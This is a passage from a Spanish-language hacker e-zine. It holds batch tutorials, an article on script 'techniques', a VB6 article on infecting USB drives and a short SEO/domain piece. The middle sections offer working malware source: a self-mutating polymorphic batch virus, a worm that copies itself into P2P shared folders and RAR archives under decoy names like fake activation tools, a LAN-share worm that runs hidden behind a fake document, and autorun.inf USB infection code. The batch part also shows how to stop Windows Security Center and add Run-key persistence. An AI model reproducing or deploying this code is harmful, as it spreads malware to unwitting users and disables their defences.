Pero aquí solo explicare como detener la Central de Seguridad. Código: Net Stop “Centro de Seguridad” Explicación: Net Stop “Centro de Seguridad”Con esto paramos la Central de Seguridad que es la encargada de administrar la seguridad (Firewall's, Antivirus, AntiSpyware), pero no toda la seguridad porque si el antivirus esta programado para que la Central no lo monitoree seguirá funcionando. Administración del Registro Aquí aprenderemos a añadir y borrar claves del registro usando el comando REG. El registro es algo delicado así que si se coloca algún código mal podría causar el mal funcionamiento de nuestra PC. Aquí solo se enseñan a añadir y borrar claves de la carpeta “Run” que es la que arranca todo lo que este añadido en ella al iniciarse la PC.

Page 38: CUH E-zine 4ª Edicion

Introducción al Batch 3a Parte CUH e-zine 4ª edición Archivos al Inicio (Técnica utilizando el registro) Con esto podremos hacer que nuestros Batch se arranquen al iniciar Windows. Y es más útil que la opción de la carpeta del Menu Inicio. Las carpetas usadas son carpetas del registro y por lo tanto se pueden administrar y ver solo con el comando REG o con el Administrador de Registro (regedit). Código: Reg Add “HKML\Software\Microsoft\Windows\CurrentVersion\Run” /v Nombre /t REG_SZ /d “C:\RutadelBatch.bat” [/f] Explicación: Reg Add “HKML\Software\Microsoft\Windows\CurrentVersion\Run” /v Nombre /t REG_SZ /d “C:\RutadelBatch.bat” /f En donde dice Nombre lo substituimos por el nombre que queramos para que aparezca en el Batch y en “C:\RutadelBatch.bat” es la ruta y el nombre de el Batch, ej: “C:\Documments and Settings\Usuario\Mis Documentos\super batch.bat” Borrando las claves Con el comando REG DELETE les enseñare a borrar un archivo que hayamos añadido al inicio (carpeta “Run”). Código: Net delete “HKML\Software\Microsoft\Windows\CurrentVersion\Run” Nombre /va [/f] Explicación: Net delete “HKML\Software\Microsoft\Windows\CurrentVersion\Run” Nombre /va /f En lugar de nombre se pone el nombre que elegimos para la clave.

Herramientas y Curiosidades

Herramientas para mejorar la calidad de nuestros Batch y otras

curiosidades.

De ahora en adelante solo hablaremos de diferentes herramientas para los batchs así como curiosidades sobre Batch.

Compiladores y Lenguajes de Cómputos

Con los compiladores podemos hacer que nuestro Batch (Archivo en lotes MS-Dos) se convierta en un ejecutable, también como habrán visto el Batch es de código abierto (pones en lugar de abrir, editar y vez el código) al convertirlo en ejecutable no se podrá ver ni

editar y así impedimos que nos copien el código de nuestro Batch. también hay compiladores que le cambian el icono. Estas herramientas nos dan una gran ventaja, además que los ejecutables trabajan con cómputos (su código lleva solo 0 y 1) entonces para hacerlos nos volveríamos locos. Fast Exe-Batch Maker (De mi amigo Hendrix) Les voy a recomendar el Fast Exe-Batch Maker de mi colega de programación Hendrix, esta muy bueno y les dejare la primera versión junto con el paquete para que puedan utilizarla en sus batchs. ¿Modo GHOST? El modo GHOST es el modo oculto, en los batchs sirve para que no aparezca la ventanita negra (es útil para los virus). Los compiladores casi todos tienen modo GHOST y al compilarlos se puede elegir el modo GHOST para nuestros Batch (el Fast Exe-Batch Maker tiene compilación en modo GHOST). Otras Herramientas IExpress (Herramienta Windows) El IExpress es una herramienta de Windows que permite crear paquetes Quizás se pregunten -¿para qué me sirve a mi un paquete?, pues para que luego de desempaquetar el paquete que contenga nuestro Batch, se auto-ejecute, y servirá para crear un Batch semi-ejecutable (al desempaquetarlo seguirá siendo Batch) y será de código abierto. A continuación mostrare los pasos para utilizar nuestro Batch con el IExpress. Pasos:

• Clic en el menu inicio, se elige la opción “Ejecutar” y se escribe “IExpress”(y obvio, se presiona enter) .

• Elegir la opción “Create new Self Extraction Directive File”, con esto se creara un nuevo paquete.

• Luego “Extract files only” para poder poner el

archivo .bat .

Page 39: CUH E-zine 4ª Edicion

Introducción al Batch 3a Parte CUH e-zine 4ª edición

• Si pide el titulo poner cualquiera (porque no

aparecerá en el paquete).

• En la confirmación del prompt, elegir “no prompt” y en la licencia “Do not display a license”.

• En la parte de PACKAGE FILES, utilizar la opción “add” y buscar y poner nuestro Batch. Se pueden poner varios.

• Luego les dara varias opciones, hay que elegir “Hidden” para que no muestre dialogo de instalación.

• En la siguiente ventana se elige “no message”. • En PACKAGE NAME AND OPTIONS seleccionar la

opción “Hide File Extracting Animation from User” y en la parte de texto colocar el nombre del archivo de paquete (.sed).

Editor MS-Dos

El Clásico editor MS-Dos (edit) que quizás les resulte muy conocido, también sirve para crear nuestros batchs y es una

herramienta muy fácil de usar. Para acceder a ella es solo

escribir “edit” en la consola, programar nuestro Batch y guardarlo con extensión “.bat”. Para entrar en modo monocromático (Blanco y Negro) escribir: Edit /B.

Por el momento es todo , espero que lo hayan disfrutado y hasta la próxima edición

Furious Dami

Page 40: CUH E-zine 4ª Edicion

Técnicas de programación de Scripts CUH e-zine 4ª edición

Técnicas de programación de Scripts En este tuto se verán algunas técnicas medio-avanzada representadas en códigos fuente explicado. Esta pensado para gente que sepa lenguajes script, principalmente “batch”. 1. Polimorfismo Esta técnica consiste en implementar un tipo de inteligencia artificial al programa la cual se encargara de cambiar partes significativas de su mismo código cada ves que este sea ejecutado. Es una técnica muy útil y utilizada en la programación de virus. Veremos un ejemplo: @echo off %ini% echo Mutando... %ini% find "ini"<%0>$ %ini% :rnd_b %ini% call :rnd %ini% :buc %ini% find "m%r: =%"<$>nul %ini% if %errorlevel%==0 goto :tst %ini% find "m%r: =%"<%0>>$ %ini% :tst %ini% set a=1 %ini% for /L %%a in (0,1,9) do call :cmp %%a %ini% echo %a%|find "o">nul %ini% if %errorlevel%==0 goto :rnd_b %ini% set a1=cmp %ini% set a2=rnd %ini% find "m%a1: =%"<%0>>$ %ini% find "m%a2: =%"<%0>>$ %ini% type $>%0 %ini% exit %ini% :: CODIGO POLIMORFICO [INICIO] %ini% :: %m0% :: %m1% :: %m2% :: %m3% :: %m4% :: %m5% :: %m6% :: %m7% :: %m8% :: %m9% :: CODIGO POLIMORFICO [FIN] %mcmp%

:cmp %mcmp% find "m%1"<$>nul %mcmp% if %errorlevel%==1 ( %mcmp% set a=%a%o %mcmp% goto :EOF %mcmp% ) else ( %mcmp% set a=%a%x %mcmp% goto :EOF %mcmp% ) %mcmp% :rnd %mrnd% set r=%random:~1,1% %mrnd% goto :EOF %mrnd%

El programa cambia la parte del code: :: %m0% :: %m1% :: %m2% :: %m3% :: %m4% :: %m5% :: %m6% :: %m7% :: %m8% :: %m9%

…cada vez que este se ejecuta, de forma aleatoria, es decir, si el código original es: @echo off %ini% echo Mutando... %ini% find "ini"<%0>$ %ini% :rnd_b %ini% call :rnd %ini% :buc %ini% find "m%r: =%"<$>nul %ini% if %errorlevel%==0 goto :tst %ini% find "m%r: =%"<%0>>$ %ini% :tst %ini% set a=1 %ini% for /L %%a in (0,1,9) do call :cmp %%a %ini% echo %a%|find "o">nul %ini% if %errorlevel%==0 goto :rnd_b %ini% set a1=cmp %ini% set a2=rnd %ini% find "m%a1: =%"<%0>>$ %ini% find "m%a2: =%"<%0>>$ %ini% type $>%0 %ini% exit %ini% :: CODIGO POLIMORFICO [INICIO] %ini% :: %m0% :: %m1% :: %m2% :: %m3% :: %m4% :: %m5%

Page 41: CUH E-zine 4ª Edicion

Técnicas de programación de Scripts CUH e-zine 4ª edición

:: %m6% :: %m7% :: %m8% :: %m9% :: CODIGO POLIMORFICO [FIN] %mcmp% :cmp %mcmp% find "m%1"<$>nul %mcmp% if %errorlevel%==1 ( %mcmp% set a=%a%o %mcmp% goto :EOF %mcmp% ) else ( %mcmp% set a=%a%x %mcmp% goto :EOF %mcmp% ) %mcmp% :rnd %mrnd% set r=%random:~1,1% %mrnd% goto :EOF %mrnd%

Puede ser que después de ejecutarse quede así: @echo off %ini% echo Mutando... %ini% find "ini"<%0>$ %ini% :rnd_b %ini% call :rnd %ini% :buc %ini% find "m%r: =%"<$>nul %ini% if %errorlevel%==0 goto :tst %ini% find "m%r: =%"<%0>>$ %ini% :tst %ini% set a=1 %ini% for /L %%a in (0,1,9) do call :cmp %%a %ini% echo %a%|find "o">nul %ini% if %errorlevel%==0 goto :rnd_b %ini% set a1=cmp %ini% set a2=rnd %ini% find "m%a1: =%"<%0>>$ %ini% find "m%a2: =%"<%0>>$ %ini% type $>%0 %ini% exit %ini% :: CODIGO POLIMORFICO [INICIO] %ini% :: %m2% :: %m3% :: %m9% :: %m4% :: %m7% :: %m8% :: %m1% :: %m6% :: %m0% :: %m5% :: CODIGO POLIMORFICO [FIN] %mcmp% :cmp %mcmp% find "m%1"<$>nul %mcmp% if %errorlevel%==1 ( %mcmp% set a=%a%o %mcmp% goto :EOF %mcmp%

) else ( %mcmp% set a=%a%x %mcmp% goto :EOF %mcmp% ) %mcmp% :rnd %mrnd% set r=%random:~1,1% %mrnd% goto :EOF %mrnd% Ahora la explicacion del code: ::inicio del code. . . @echo off %ini% echo Mutando... %ini% ::busca la cadena “ini” en el archivo y la manda a $ find "ini"<%0>$ %ini% ::llama a la funcion :rnd para generar en %r% un numero :rnd_b %ini% call :rnd %ini% ::se busca el %0 (nuestro archivo original) la cadena “m+[numero aleatorio generado]” :buc %ini% find "m%r: =%"<$>nul %ini% ::si se encontro va a la etiqueta :tst if %errorlevel%==0 goto :tst %ini% ::sino busca la cadena en %0 y la guarda en $ (un archivo temporal) find "m%r: =%"<%0>>$ %ini% ::la funcion tst es un bucle for que da los numeros 0-9 a la funcion cmp :tst %ini% set a=1 %ini% for /L %%a in (0,1,9) do call :cmp %%a %ini% ::como en la funcion cmp se establece %a%, aki se busca en la cadena “o” en la variable %a% echo %a%|find "o">nul %ini% ::si la encuentra, regresa a la etiqueta :rnd_b if %errorlevel%==0 goto :rnd_b %ini% ::sino entoncs busca las funciones restantes (las que estan al final del code) y las mete en $ set a1=cmp %ini% set a2=rnd %ini% find "m%a1: =%"<%0>>$ %ini% find "m%a2: =%"<%0>>$ %ini% ::escribe todo lo que hay en $ en %0 y sale type $>%0 %ini% exit %ini% ::aki se muestra la seccion poliformica del code :: CODIGO POLIMORFICO [INICIO] %ini% :: %m0% :: %m1% :: %m2% :: %m3% :: %m4%

Page 42: CUH E-zine 4ª Edicion

Técnicas de programación de Scripts CUH e-zine 4ª edición

:: %m5% :: %m6% :: %m7% :: %m8% :: %m9% :: CODIGO POLIMORFICO [FIN] %mcmp% ::la funcion :cmp se encarga de ver que modulos poliformicos (m1, m2, m3, …) ya an sido copiados a $ :cmp %mcmp% find "m%1"<$>nul %mcmp% ::si el modulo se encuentra ya presente, se agrega la cadena “x” a la variable %a%, si no se encuentra, se agrega la cadena “o” if %errorlevel%==1 ( %mcmp% set a=%a%o %mcmp% goto :EOF %mcmp% ) else ( %mcmp% set a=%a%x %mcmp% goto :EOF %mcmp% ) %mcmp% ::genera el numero aleatorio :rnd %mrnd% set r=%random:~1,1% %mrnd% goto :EOF %mrnd% Un punto importante a recalcar es que la función a copiar la identifico poniendo en cada línea que le pertenece una marca de la forma de una variable . . . Ejemplo: :rnd %mrnd% set r=%random:~1,1% %mrnd% goto :EOF %mrnd% Ahora veamos otro ejemplo, algo mas sencillo, hecho en Visual Basic Script: Teoria: Generar nombre aleatorios y reemplazar las variables existentes por los nombres generados. Randomise Rem bucle donde generamos los nombre aleatorios for iaec=1 to 5

ivarec2=chr(int(20*rnd)+97) ivarec3=chr(int(20*rnd)+97) ivarec4=chr(int(20*rnd)+97) ivarec5=chr(int(20*rnd)+97) ivarec6=chr(int(20*rnd)+97) ivarec7=chr(int(20*rnd)+97) ivarec8=chr(int(20*rnd)+97)

toivarec2=ivarec2&toivarec2 toivarec3=ivarec3&toivarec3 toivarec4=ivarec4&toivarec4 toivarec5=ivarec5&toivarec5 toivarec6=ivarec6&toivarec6 toivarec7=ivarec7&toivarec7 toivarec8=ivarec8&toivarec8

next rem Establecemos variables necesarias set fso=createobject("scripting.filesystemobject") set fileall=fso.opentextfile(wscript.scriptfullname,1,false) rem En la variable “nufile” se encuentra el codigo del programa nufile=fileall.readall rem Reemplazamos la cadena “ivarec” por la cadena que contiene la variable toivarec2, y asi sucesivamente con todas las cadenas que se quieran reemplazar

nufile=replace(nufile,"ivarec",toivarec2) nufile=replace(nufile,"toivarec",toivarec3) nufile=replace(nufile,"fso",toivarec4) nufile=replace(nufile,"fileall",toivarec5) nufile=replace(nufile,"iaec",toivarec6) nufile=replace(nufile,"nufile",toivarec7) nufile=replace(nufile,"xsiv",toivarec8) rem en xsiv esta el archivo listo para escribir sobre el.

set xsiv=fso.opentextfile(wscript.scriptfullname,2,false) rem escribimos lo que contiene la variable nufile en nuestro archivo xsiv.write nufile rem y cerramos.

xsiv.close 2. Propagación por clientes P2P e infección de .rar Esta técnica consiste en infectar las carpetas compartidas de todos los clientes de redes P2P (eMule, Shareaza, BearShare, edonkey y limeware [la lista puede ser modificada]) y archivos .rar dentro de estas, que estén contenidas en la pc victima. La siguiente función tiene la capacidad de hacer :p2p :: Hacemos una comprobacion de archivos (logica del programa) if exist %windir%\t.rar (del %windir%\t.rar)

Page 43: CUH E-zine 4ª Edicion

Técnicas de programación de Scripts CUH e-zine 4ª edición

:: Copiamos todo el codigo del programa al archive op.bat type %0>op.bat :: Establecemos en %o% nuestra ruta y nombre set o="%systemdrive%%~p0op.bat" :: Nos posicionamos en la ruta donde fuimos ejecutados cd "%systemdrive%%~p0" :: La lista de clientes se va a %windir%\yer.t echo eMule\Incoming\ > %windir%\yer.t echo Shareaza\Downloads\ >> %windir%\yer.t echo BearShare\Shared\ >> %windir%\yer.t echo EDONKEY2000\incoming\ >> %windir%\yer.t echo LimeWire\Shared\ >> %windir%\yer.t :: La lista de nombres ficticios (señuelos) se va a %windir%\jer.t echo Path_msn_Emoticonos > %windir%\jer.t echo sms_gratis >> %windir%\jer.t echo polifonicos_free >> %windir%\jer.t echo Microsoft_Office_2007_all_serials >> %windir%\jer.t echo Windows_Vista_activation_tool >> %windir%\jer.t echo Windows_Vista_all_serials >> %windir%\jer.t echo MSN_hack_codes >> %windir%\jer.t :: Se establecen las variables que contienen la información del winrar set rc=1 set r="%programfiles%\WINRAR\WinRAR.exe" :: Probamos el ejecutable del winrar para estar seguros de que el programa esta intalado en la pc %r% a %windir%\t.rar %o% if not %errorlevel%==9009 set rc=0 goto fr :: la funcion fr2 se encarga tomar la lista de nombres dados para copiarse en los clientes con esos nombre :fr2 set uno=%1 :: Toma la lista de nombres for /F "tokens=* delims=" %%g in (%windir%\jer.t) do ( :: si el winrar esta instalado if %rc%==0 ( :: Se copia el mismo con el nombre dado en el cliente actual @copy /y %o% "%%g.bat" cls ping -n 2 localhost > nul :: Se copia el mismo en archivos .rar con los nombres %r% a "%%g.rar" "%%g.bat" )

) goto :EOF :: la funcion :fr coge las lista de clientes que se encuentra en el archivo yer.t :fr for /F "tokens=* delims=" %%a in (%windir%\yer.t) do ( :: verifica la existencia del cliente en la pc if exist "%programfiles%\%%a" ( :: Si el cliente en cuestion esta instalado, cambia el directorio local a su directorio cd "%programfiles%\%%a" :: Por cada .rar for %%e in (*.rar) do ( :: se copia el mismo al directorio con el mismo nombre del .rar @copy /y %o% "%%~ne.bat" cls ping -n 2 localhost > nul :: se introduce el mismo en el .rar en cuestion %r% a "%%e" "%%~ne.bat" ) :: llama la funcion fr2 usando como primer y unico parámetro el cliente actual del for call :fr2 %%a ) ) Pause :: termina la infeccion, eliminando algunos archivos innecesarios cd %windir% del *.t cd "%systemdrive%%~p0" del op.bat goto :EOF 3. Propagación por LAN Teoria: Crear carpetas y compartirlas mediante el comando “net share”. @echo off :: Verifica que el programa a sido llamado de forma oculta if '%1==' goto ht :: Verifica que existela carpeta de infeccion if exist "%homedrive%\Calificaciones" exit :: se crean las variables que contienen los nombres de las carpetas a crear set a=Calificaciones set b="7mo_grado" set c="8vo_grado" set d="9no_grado" set e="10mo_grado"

Page 44: CUH E-zine 4ª Edicion

Técnicas de programación de Scripts CUH e-zine 4ª edición

set f="11vo_grado" set g="12vo_grado" set i=%homedrive%\ju.ki cd\ :: Se copia un archivo de restauración type %0>ju.ki :: Se crea la carpeta de infeccion mkdir %a% cd %a% :: por cada variable que contiene las carpetas a infectar se crean las carpetas for %%e in (%b% %c% %d% %e% %f% %g%) do mkdir %%e :: se manda la lista de las carpetas a un archivo temporal dir /b > %temp%\lst.jkl :: por cada carpeta en el archivo creado manda la información a la funcion :cop for /f "tokens=* " %%f in (%temp%\lst.jkl) do call :cop %%f :: se comparte la carpeta de infeccion net share Notas="%homedrive%\Calificaciones" exit :cop :: se establece la siguiente carpeta a infectar set target=%1 cd "%target%" :: se copia el mismo en la carpeta a infectar type %i%>"notas.cmd" :: vuelve a la carpeta de infeccion cd %homedrive%\%a% goto :EOF :ht :: se crea un archivo .doc que simula la ejecución de un documento normal echo MATERIA > notas.doc echo. >> notas.doc echo Nombre ^| Calificaciones >> notas.doc :: se crea un script vbs donde se llama el mismo en forma oculta echo set shell = CreateObject("wscript.shell") > r.vbs echo shell.run "cmd /c "%0" vir", vbHide >> r.vbs :: se ejecuta el vbs start r.vbs :: se ejecuta el documento creado start notas.doc exit 4. Funciones de identificación Aki veremos algunas funciones que nos permitirán tener un concepto del uso de varias técnicas

La siguiente función toma una cadena de texto y la invierte de forma que si llegara a tomar la cadena “hola” devolvería la cadena “aloh”. @echo off ::Parametros: %1=cadena ::Devuelve: %ohce%=cadena invertida :ohce ::Se limpian algunas variables set wrd= set ohce= ::verifica que la funcion no a sido llamada con un valor nulo if %1'==' goto er_o ::se establece la cadena introducida set wrd=%1 set wrd=%wrd:"=cnf% ::se llama la funcion :len que devolvera la cantidad de caracteres que contiene la cadena call :len %wrd% ::se prepara la variable de cantidad set /a len=%len%-1 ::se ace un bucle de forma regresiva for /l %%a in (%len%,-1,0) do ( ::llama la funcion st call :st %%wrd:~%%a,1%% ) ::se prepara la variable para la salida set ohce=%ohce:"=% set ohce=%ohce:fnc="% echo %ohce% goto :EOF :st ::la funcion st estable el valor de la variable que contiene la cadena invertida set p1=%1 set ohce=%ohce%%p1% goto :EOF :len ::la funcion :len calcula la cantidad de caracteres que contiene la cadena que se le da ::verifica que la funcion no haya sido llamada con un valor nulo if %1'==' echo La sintaxis es: len [cadena] && goto :EOF ::se establecen algunas variables set w=%1 set a=0 set bol=0 :lp ::se llama la function cnt call :cnt "%%w:~%a%,1%%" %a% if %bol%==1 goto :EOF set /a a=%a%+1

Page 45: CUH E-zine 4ª Edicion

Técnicas de programación de Scripts CUH e-zine 4ª edición

goto lp ::la funcion cnt se encarga de verificar si la cadena que le dan es nula, si lo es establece una variable que parara el el contador :cnt set cur=%1 set len=%2 ::si la variable es nula, se establece la variable if %cur%a==""a ( set bol=1 ) goto :EOF :er_o ::mensaje de error echo La sintaxis es: h2d [cadena] goto :EOF

The Shadow [email protected]

Page 46: CUH E-zine 4ª Edicion

Infectar unidades USB CUH e-zine 4ª edición

Este es un artículo creado exclusivamente para CUH E-Zine y se encuentra bajo licencia Creative Commons (http://creativecommons.org/licenses/by/3.0). Comencemos viendo algunos aspectos de lo que es USB.

Pues USB seria teóricamente un puerto de la CPU, su traducción seria Bus Universal de Serie (en ingles seria Universal Serial Bus). Este puerto tiene la capacidad de conectar, entre otras cosas, unidades de almacenamiento masiva de datos, como son los PenDriver’s, MP3, MP4, etc. Estas unidades, como bien dije permiten almacenar cosas, por supuesto que en ficheros.

Lo que haremos nosotros será infectar esta unidad, así como se infecta un sistema. La infección en sí es muy sencilla, solo nos debemos copiar en la unidad. Pero nuestro fin no es infectar, sino reproducirnos a través de la infección, y si solo nos copiamos, no podemos estar seguros que podremos infectar otro sistema. Ahora si nos ponemos a pensar un poco, los CD’s de instalación (entre otros) logran ejecutar cierto fichero al introducir el disco en la compactera (unidad de CD). Esto se logra gracias al fichero “Autorun.inf”. Este pequeño amigo corresponde a Windows, y hace que al ser leído por él ejecute sus sentencias. El fichero Autorun.inf puede contener varias sentencias pero nosotros solo utilizaremos una, que nos permitirá ejecutar un fichero al introducir la unidad en la CPU (es decir, cuando Windows lea la unidad). ¡Ya basta de hablar, vamos a hacer algo! Debemos, antes que nada, obtener las unidades:

Vamos a utilizar un Timer, y este será el único control que añadiremos al proyecto. Le dejaremos su nombre por defecto, y a su propiedad “interval” le daremos valor: 1000, que serian 1000 milisegundos, lo que equivale a 1 segundo.

La función del timer será recorrer las unidades, para encontrar aquellas que sean removibles o CD’s y sean de lectura/escritura, y como ultima condición, la función va revisar que la unidad este lista, si todo esto se cumple, le pasamos el trabajo a otra función… También vamos a trabajar con el objeto FileSystemObject, pero lo que haremos será agregarlo desde las referencias, esto será mejor que el típico “Set fso = CreateObject(“Scripting.FileSystemObject”)” ya que este ultimo crea el objeto en tiempo de ejecución, lo que no nos permitiría comprobar errores hasta la ejecución de la aplicación. Por contrario, al agregarlo como referencia, podremos ver en tiempo de diseño las variadas opciones que ofrece el objeto luego del operador punto (.)… Para agregar el objeto desde la referencia, nos vamos a: Proyecto�Referencias�Microsoft Scripting Runtime y le damos a “Aceptar”.

Page 47: CUH E-zine 4ª Edicion

Infectar unidades USB CUH e-zine 4ª edición

Ahora ya podemos comenzar a trabajar, nos ubicamos en el evento Timer del Timer1: Private Sub Timer1_Timer() End Sub Aplicamos el objeto: Dim fso As New FileSystemObject (Como si estuviéramos haciendo la declaración de una variable normal) Y hasta aquí llegamos… Ahora agregaremos un modulo al proyecto

y declararemos las siguientes API’s y constantes: Public Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long Public Const DRIVE_CDROM = 5 Public Const DRIVE_REMOVABLE = 2 Listo, volvemos al formulario, y vamos a declarar 2 variables mas, la variable “Drv” de tipo String, y la variable “NWDrv” (no le aplicamos ningún tipo)… Así que el código en el formulario nos quedaría así:

Private Sub Timer1_Timer() Dim fso As New FileSystemObject Dim Drv As String Dim NWDrv End Sub La API GetLogicalDriveStrings nos va a devolver todas las unidades disponibles en el sistema. Antes vamos a darle un valor a la variable “Drv”, le vamos a dar una cadena con 100 espacios: Drv = Space(100) Ahora vamos a usar la API antes mencionada para obtener un número entero que corresponderá a las unidades: Rt = GetLogicalDriveStrings(Len(Drv), Drv) Así que en la en la variable Drv vamos a tener las unidades, una al lado de la otra... Pero separadas por un símbolo, así que para obtenerlas vamos a hacer un bucle, el cual aremos de 4 en 4: For i = 1 To Rt Step 4 Next i Así, utilizando Mid podemos extraer una por una las unidades en su orden correspondiente: Drn = Mid(Drv, i, 3) Hasta aquí pudimos obtener la unidad y la almacenamos en la variable Drn, ya van 3 variables que no he declarado al principio (i, Rt y Drn), pero lo haré luego… Con la API GetDriveType podremos saber el tipo de unidad al que corresponde la actual (ubicada en la variable Drn). Si el tipo de unidad es DRIVE_CDROM (cuyo valor numérico es 5) o DRIVE_REMOVABLE (cuyo valor numérico es 2), significa que podemos seguir: If GetDriveType(Drn) = DRIVE_REMOVABLE Or GetDriveType(Drn) = DRIVE_CDROM Then End if Ahora, si esta condición nos fue favorable, seguiremos, y lo que debemos hacer es comprobar si la unidad esta lista para copiar. Para eso primero debemos aplicar la variable como objeto y luego comprobarlo (observa que al objeto fso le debemos dar la unidad pero no completa, con los dos puntos y la barra invertida, sino la letra sola, luego el objeto la devuelve con los dos puntos, pero sin la barra): Set Unidad = fso.GetDrive(Left(Drn, 1)) If Unidad.IsReady = True Then End If Perfecto, hasta aquí estamos bien, si la unidad ubicada en la variable “Unidad” esta lista, seguimos, y seguimos pasándole el trabajo a otra función. A esta función la

Page 48: CUH E-zine 4ª Edicion

Infectar unidades USB CUH e-zine 4ª edición limaremos “InfecDrive” y recibirá como parámetro la unidad a infectar, la misma se pasara como cadena… Call InfecDrive(Unidad & “\”) Así que el código del evento del Timer1 nos quedaría así: Private Sub Timer1_Timer() Dim fso As New FileSystemObject Dim Drv As String Dim NWDrv Drv = Space(100) Rt = GetLogicalDriveStrings(Len(Drv), Drv) For i = 1 To Rt Step 4 Drn = Mid(Drv, i, 3) If GetDriveType(Drn) = DRIVE_REMOVABLE Or GetDriveType(Drn) = DRIVE_CDROM Then Set Unidad = fso.GetDrive(Left(Drn, 1)) If Unidad.IsReady = True Then Call InfecDrive(Unidad & “\”) End If End if Next i End Sub Ahora vamos a programar la función que se encargara de infectar la unidad, no es nada complicado, solo debemos crear un Autorun programado para ejecutar nuestra aplicación cada vez que la unidad sea ejecutada, y luego debemos copiarnos en dicha unidad: Private Sub InfecDrive(Drve As String) End Sub Veamos, El Autorun.inf siempre se ubica en la raíz de la unidad en la que se encuentra. Nosotros vamos a utilizar la sentencia “Open”, esta sentencia va seguida de un igual (=) y después del signo igual va la ruta de la aplicación a ejecutar. La ruta se toma desde la raíz de la unidad, pero no se pone la misma, es decir que si nuestra aplicación se encontrara en la raíz de la unidad, el Autorun.inf contendrá esto: [AutoRun] Open=VIRUS.EXE El problema con esto, es que casi siempre el archivo Autorun tiene atributo de oculto y/o solo lectura, esto hace que no lo podamos modificar o sustituir por el nuestro. Así que lo que haremos, será verificar si existe el archivo Autorun en la raíz de la unidad, y si existe le vamos a dar atributo “Normal”: If Dir(Drve & "autorun.inf") <> "" Then SetAttr Drve & "autorun.inf", 0 End If

Ahora ya podemos modificar el archivo Autorun si es que existe, si no existe simplemente lo creamos. Ya es hora de copiarnos, por lo general a la hora de copiar se utilizan nombres que no llamen mucho la atención, pero mi objetivo no es este, así que yo utilizare un nombre común: “Autorun.exe”: FileCopy App.Path & “\” & App.EXEName & “.exe”, Drve & “\Autorun.exe” Ya estamos sobre el final, nos resta crear el archivo Autorun.inf, y aplicarle a este y a la copia de nuestra aplicación atributos de ocultos y solo lectura… Creamos el Autorun: Open Drve & "autorun.inf" For Output As #1 Print #1, "[Autorun]" Print #1, "Open=autorun.exe" Close #1 Le aplicamos los atributos y listo : SetAttr Drve & "autorun.exe", 1 + 2 SetAttr Drve & "autorun.inf", 1 + 2 Así que el código de la función nos quedo así : Private Sub InfecDrive(Drve As String) If Dir(Drve & "autorun.inf") <> "" Then SetAttr Drve & "autorun.inf", 0 End If FileCopy App.Path & “\” & App.EXEName & “.exe”, Drve & “\Autorun.exe” Open Drve & "autorun.inf" For Output As #1 Print #1, "[Autorun]" Print #1, "Open=autorun.exe" Close #1 SetAttr Drve & "autorun.exe", 1 + 2 SetAttr Drve & "autorun.inf", 1 + 2 End Sub Espero les haya servido, cabe recalcar que la infección de unidades extraíbles para la propagación de gusanos abarca mas de lo que se vio en este articulo, la mayoría de los programadores hacen de gran prioridad la ocultación del gusano dentro de la unidad. Utilizando métodos avanzados, verdaderamente buenos, con muchas formas de lograr que el usuario desinfecte su unidad. Les dejo a todos lo lectores de esta E-Zine un cordial saludo y espero que les haya gustado

AnyDoom .

Page 49: CUH E-zine 4ª Edicion

La indexación y Tu Dominio CUH e-zine 4ª edición

Hola bueno, hoy vamos a hablar de las cosas que debemos saber sobre la indexación… Cuando hacemos una búsqueda por ej: Google, cuantas veces pasamos a la segunda pagina? Y esa repuesta es muy pocas y es a si es muy difícil que un internauta se tome esa molestia de ir a la otra pagina. Si queres tener visitas, es primordial figurar en buena posición en los principales anuarios.

La indexación (posicionamiento) : analiza tu sitio, busca las palabras clave que lo representan con más fidelidad, y utilízalos para describir tu sitio en una sola frase Las palabras-clave es un agente importante para poder tener buena indexación, Como? Bueno puedes usar el los metas tag de otros sitios parecidos a el tuyo para copiar las palabras o que los internautas utilizarán para encontrar tu sitio. Inspírate de las de los competidores en mejor posición en los resultados de las búsquedas. Y si la procedencia de tus visitantes es una página de búsqueda, ten cura, si tus herramientas estadísticas te lo permiten, de las palabras-clave utilizadas en la

petición. Metas Tag Es muy fácil de usar, en una pagina HTML entre las tags <HEAD>, tres elementos merecen especial atención: Ponemos el titulo, entre las tags <TITLE>. Aparece en la barra de título de la ventana, pero también, si se da el caso, como nombre de favoritos. Los motores de búsqueda le dan en general una importancia capital. Pon el nombre oficial de tu sitio, así como una breve descripción con algunas palabras-clave. La tag<META name="descripción" content="descripción de su sitio">. Transforma tu título en una frase, haciendo lo posible para que las palabras clave estén en buena posición: tienen que ser pocas palabras./li> la tag<META name="keywords" content="palabra-clave 1; palabra-clave 2">. Ahí escribes tus palabras-clave en el órden de importancia; utiliza sinónimos pero evita repetir las mismas palabras más de 7 veces (sin ir más allá de las 1000 letras) <title>EL-Hacker foro de hacking y seguridad Informática</title> <meta name="description" content="Foro de discusión general donde aprenderás conocimientos de informática y divertirte haciendo amigos."> <meta name="keywords" content=" descargas full, gratis, herramientas hack (y puedes agregarle mas a tu criterio)"> Recuerda!!! Los trucos que veas por Internet de cómo engañar a los buscadores para tener mas visitas no funcionan y puede irte en contra ya que si ej: google descubre la farsa puede castigarte sacándote la indexación.

Otro consejo; cuando queremos que nuestro sitio sea conocido, google siempre busca sitios diseñados lo mas sencillos posibles, y hablo del código Html mientras menos basura tenga mejor, y siempre tener una portada bien hecha y otra cosa que google busca es lo novedoso, por eso siempre tengamos en cuenta lo que el usuario busca y hacerlo mas agradable para ser único, es obvio que si ponemos ej; Nunca le ganaremos a los que son dueños de las palabras como empresas; ebay, yahoo, Microsoft, etc… pero siempre podemos estar abajo y eso no es tan malo dependiendo que el segundo puesto a veces es mejor jeje.

Un buen dominio

Cuando vamos a comprar un dominio tenemos que tener en cuenta muchas cosas, Hablemos un poco de

Page 50: CUH E-zine 4ª Edicion

La indexación y Tu Dominio CUH e-zine 4ª edición como funciona esto… Cada servidor web es identificado por una dirección IP única, parecida a esto: 195.219.20.23 ; este tipo de dirección es muy poco práctica, y un sistema de nombres de dominio ha sido rápidamente adoptado. Un nombre de dominio es una apelación alfanumérica, fácil de recordar, y que corresponde a una dirección IP; la traducción de uno a otro se hace a través de un servidor DNS (Domain Name Server).

